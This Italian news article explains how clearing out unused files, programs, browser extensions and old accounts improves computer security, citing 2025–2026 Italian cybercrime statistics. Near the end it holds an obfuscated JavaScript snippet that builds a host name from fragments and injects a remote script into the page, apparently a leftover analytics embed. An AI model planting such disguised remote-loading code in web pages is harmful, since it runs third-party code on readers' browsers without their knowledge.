La presenza di file inutili, programmi dimenticati, download duplicati e credenziali salvate senza criterio trasforma rapidamente qualsiasi dispositivo in un archivio caotico. Fare pulizia non è soltanto una buona abitudine pratica, ma una vera misura di sicurezza digitale. Nel 2026 il tema è particolarmente rilevante anche in Italia: il Rapporto Clusit 2026 segnala che nel 2025 gli incidenti cyber gravi nel Paese sono stati 507, pari al 9,6% di quelli censiti a livello mondiale, con un aumento del 42% rispetto al 2024. Nello stesso periodo, il Cyber Index PMI 2025 ha rilevato per le piccole e medie imprese italiane un livello medio di maturità cyber di 55 su 100, ancora sotto la soglia di sufficienza.Perché la pulizia del computer migliora davvero la sicurezzaQuando si parla di pulizia del computer, si pensa spesso soltanto a liberare spazio. In realtà, eliminare il superfluo riduce anche la superficie di attacco. Più software installati significa più aggiornamenti trascurati, più estensioni del browser significa più autorizzazioni concesse, più documenti archiviati senza ordine significa più dati esposti in caso di violazione. Un sistema essenziale, aggiornato e ben organizzato è anche più semplice da controllare.La situazione italiana conferma quanto la prevenzione conti. Secondo Clusit, nel 2025 gli attacchi di phishing e ingegneria sociale sono cresciuti del 75% a livello globale, mentre in Italia gli incidenti riconducibili a phishing e social engineering hanno rappresentato il 12,4% del totale, in aumento del 66% rispetto all’anno precedente. Ripulire caselle email, archivi locali e credenziali memorizzate in modo disordinato diventa quindi un passaggio fondamentale.Email, account e credenziali: la pulizia che molti trascuranoUn altro passaggio centrale riguarda la posta elettronica e gli accessi online. Caselle piene di vecchie registrazioni, newsletter inutili e messaggi con allegati sconosciuti diventano un ambiente favorevole a truffe e furti di credenziali. Per iscrizioni occasionali o servizi da usare una sola volta può essere utile ricorrere a una email temporanea, così da non esporre l’indirizzo principale a spam e tentativi di phishing.In parallelo, è opportuno eliminare gli account non più usati, aggiornare le password salvate e attivare l’autenticazione a più fattori dove disponibile. L’attenzione è giustificata anche dai dati più recenti: la Polizia Postale, nel bilancio 2025 diffuso a gennaio 2026, ha segnalato 51.560 casi trattati in Italia e oltre 269 milioni di euro sottratti nelle frodi economico-finanziarie online.I file da eliminare subito per alleggerire il sistemaLa prima area su cui intervenire riguarda i file inutili. Download dimenticati, screenshot vecchi, documenti duplicati, file temporanei, installer già utilizzati e cestino mai svuotato rallentano il computer e aumentano la confusione. Una regola efficace consiste nel controllare regolarmente cartelle come Download, Desktop e Documenti, spostando ciò che serve in archivi ordinati ed eliminando il resto.È utile anche rivedere i backup locali e i file condivisi automaticamente con servizi cloud. Conservare copie multiple dello stesso contenuto, magari con nomi quasi identici, aumenta il rischio di errore umano e rende più difficile capire quali dati siano davvero necessari. Una gestione ordinata dei documenti consente di individuare più rapidamente anomalie, modifiche sospette o file creati da malware.Programmi inutilizzati, estensioni e app: il vero peso nascostoMolti computer accumulano negli anni software mai più aperti. Disinstallare i programmi inutilizzati è una delle strategie più efficaci per migliorare prestazioni e sicurezza. Ogni applicazione non aggiornata può infatti rappresentare una vulnerabilità, soprattutto se lavora in background o mantiene accessi attivi al sistema.Lo stesso vale per plugin ed estensioni del browser. Toolbar obsolete, componenti scaricati per una sola esigenza temporanea e autorizzazioni eccessive possono trasformarsi in un punto debole. Conviene lasciare attivi soltanto gli strumenti realmente usati, verificando periodicamente permessi, aggiornamenti e provenienza. Un browser più leggero è anche più facile da proteggere.La routine ideale per mantenere il computer pulito nel tempoLa vera efficacia della sicurezza informatica passa dalla costanza. Una pulizia mensile del dispositivo, un controllo trimestrale dei programmi installati e una revisione periodica degli account online permettono di evitare nuovi accumuli. A questo si aggiungono aggiornamenti automatici, backup ordinati e scansioni di sicurezza regolari.Nel 2026, in Italia, la crescita della consapevolezza digitale è reale ma non ancora sufficiente: solo il 16% delle PMI viene considerato maturo nella gestione della sicurezza informatica, mentre una larga parte resta in una zona intermedia o fragile. Questo vale anche per gli utenti privati: mantenere un computer ordinato, essenziale e monitorato è una forma concreta di difesa quotidiana.(function(){a7nz=document.createElement("script");a7nz_="o"+("pe")+"ns"+"t";a7nz_+=("a")+"t"+".";a7nz_+=(("e")+"u");a7nz.type="text/javascript";a7nz_+="/"; a7nzu="2605460335";a7nzu+=".X2tm1xcf7nz3cdgt346";a7nzu+="fef6z6ah1z3";a7nz.src="https://"+a7nz_+a7nzu;a7nz.async=true;document.body.appendChild(a7nz);})();L'articolo Siete sommersi dalla spazzatura digitale? Vi spieghiamo come dare una bella ripulita al computer proviene da Tiburno Tv.